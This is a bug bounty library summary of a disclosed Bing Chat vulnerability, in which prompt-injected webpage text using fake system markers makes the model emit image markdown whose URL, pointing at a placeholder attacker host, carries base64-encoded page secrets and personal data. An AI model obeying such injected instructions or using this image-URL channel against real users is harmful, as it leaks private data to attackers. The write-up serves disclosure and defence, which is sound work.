# Bing Chat: Data Exfiltration Exploit Explained

Bing Chat rendered LLM-emitted image markdown, so prompt-injected webpage text could append page secrets to an attacker image URL and auto-exfiltrate them.

- Payout: Research
- Severity: high
- Program: Microsoft
- Write-up by: Johann Rehberger
- Disclosed: 2023-06-18
- Write-up quality: 8/10
- Original: https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2023-bing-chat-data-exfiltration-poc-and-fix
- Tags: area:ai domain:ai impact:data-leak impact:pii-leak kind:research platform:research sev:high tech:llm technique:chained technique:oob-exfil vuln:prompt-injection

**Target:** LLM chat client rendering markdown to HTML
**Root cause:** Bing Chat rendered markdown image syntax returned by the LLM into HTML img tags, causing the browser to auto-fetch arbitrary attacker URLs. Combined with prompt injection from untrusted page content, attacker-controlled instructions could embed page data in the image URL.
**Steps:**
1. Place attacker text (comment/ad) on a webpage containing a prompt injection payload using `[system](#context)` / `[system](#assistant)` markers.
2. Instruct the model to wait two conversation turns, then emit an image markdown `![hello](https://attacker/logo.png?q=<base64 of page summary + secrets>)`.
3. Victim visits page and chats with Bing Chat; injection hijacks the assistant.
4. After two turns the model emits the image markdown, client renders `<img src=...>`, browser auto-requests attacker URL with data in query string.
5. Attacker reads exfiltrated base64 from server logs.
**How found:** Researcher recognized that Bing Chat renders markdown (including images) as HTML, and that prompt injection gives an adversary control over model output; combined the two to turn image rendering into an out-of-band exfiltration channel.
**Exploitation:** Attacker controls any text on a page the victim summarizes with Bing Chat. The injected instructions make the model collect page secrets/PII and emit an image markdown URL pointing at the attacker server with the data base64-encoded in the query string; the client auto-loads the image, leaking the data without user interaction.
**Insight:** When an LLM client renders markdown/HTML, treat image/link markdown as an exfil primitive: injected instructions can encode secrets into a URL the browser fetches automatically. Test whether the renderer allows arbitrary image hosts and whether CSP restricts them.